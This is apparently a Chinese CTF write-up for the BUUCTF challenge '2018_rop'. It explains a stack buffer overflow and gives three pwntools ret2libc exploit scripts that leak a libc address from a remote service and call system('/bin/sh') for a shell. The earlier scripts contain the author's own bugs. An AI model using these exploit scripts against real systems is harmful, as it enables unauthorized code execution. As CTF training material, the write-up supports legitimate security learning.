当前位置: 首页 > news >正文

PWN手的成长之路-18_铁人三项(第五赛区)_2018_rop

image

file,checksec:
image

image

buf只有0x88字节大小,但read却可以往buf中输入0x100字节,使所以存在栈溢出。
image
且字符串中无/bin/sh,函数中无 system 函数,所以可以确定是ret2libc。

exp,这个exp可以泄露出write的地址:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',25899)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.got['write']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xD)
r.sendline(payload)write_real_addr = u32(r.recv(4))
print(hex(write_real_addr))#libc
libc = LibcSearcher('write',write_real_addr)
base_addr = write_real_addr - libc.dump('write')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')#attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(main_addr) +p32(binsh_addr)
r.sendline(payload)
r.interactive()

image

exp2(这个exp泄露的是read的地址):

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28419)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
r.sendline(payload)read_real_addr = u32(r.recv(4))
print(hex(read_real_addr))#libc
libc = LibcSearcher('write',write_real_addr)
base_addr = write_real_addr - libc.dump('write')
binsh_addr = base_addr + libc.dump('str_bin_sh')
system_addr = base_addr + libc.dump('system')
# base_addr = write_real_addr - 0x0e56f0        #libc.dump('write')
# binsh_addr = base_addr + 0x17b8cf             #libc.dump('str_bin_sh')
# system_addr = base_addr + 0x03cd10           #libc.dump('system')
#binsh_addr = 0x961df#attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(0) +p32(binsh_addr)
r.sendline(payload)
r.interactive()

image

使用这两个地址的后三位,在 libc.blukat.me 网址中即可计算得到偏移。
image

之后编写总的exp:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',28419)
elf = ELF('./pwn')
context.log_level = 'debug'#params
ret_addr = 8048199
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']#attack
payload = b'a'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
r.sendline(payload)read_real_addr = u32(r.recv(4))
print(hex(read_real_addr))#libc
base_addr = read_real_addr - 0x0e5620        
binsh_addr = base_addr + 0x17b8cf            
system_addr = base_addr + 0x03cd10         #attack2
payload2 = b'a'*(0x88+4) + p32(system_addr) + p32(1) +p32(binsh_addr)
r.sendline(payload2)
r.interactive()

因为在libcsearcher中并没有找到匹配的libc,所以用了这种计算的方法得到了flag。

http://www.rkmt.cn/news/23874.html

相关文章:

  • 日志|JAVAWEB|YApi|vue-cli|VUE-Element
  • 20232401 2025-2026-1 《网络与系统攻防技术》实验二实验报告
  • FFT学习小结
  • 幂等的双倍快乐,你值得拥有
  • 2025年粉末冶金制品/零件厂家推荐排行榜,高精度耐磨粉末冶金零件,优质粉末冶金制品公司推荐!
  • AI元人文理论框架体系研究:价值原语化的文明演进机制与治理范式转变——声明Ai研究
  • 20251018
  • Linux后门应急
  • 2025.10.18总结
  • 第七章 常见攻击事件分析--钓鱼邮件
  • 10月18日日记
  • 第五章 linux实战-黑链
  • AI元人文:价值原语化——在创新与传承间搭建文明桥梁
  • 线段树历史值学习笔记
  • 周六训练-1018
  • (第五次)随机森林和xGboost
  • swtich的应用
  • P14253 旅行(trip)题解 - 符星珞
  • 因式分解
  • 20251018 杂题 总结
  • 【做题记录】P9753 [CSP-S 2023] 消消乐
  • 南京icpc-c题:
  • 学生信息管理系统(DAO模式重构)项目报告
  • 开源嵌入模型对比:让你的RAG检索又快又准
  • 智慧城市基础设施漏洞分析与国家安全影响
  • 实用指南:【读书笔记】《苏东坡》
  • 10.18 CSP-S模拟34/2025多校CSP模拟赛6 改题记录
  • 做题技巧与结论证明
  • 卡车厂实习第三天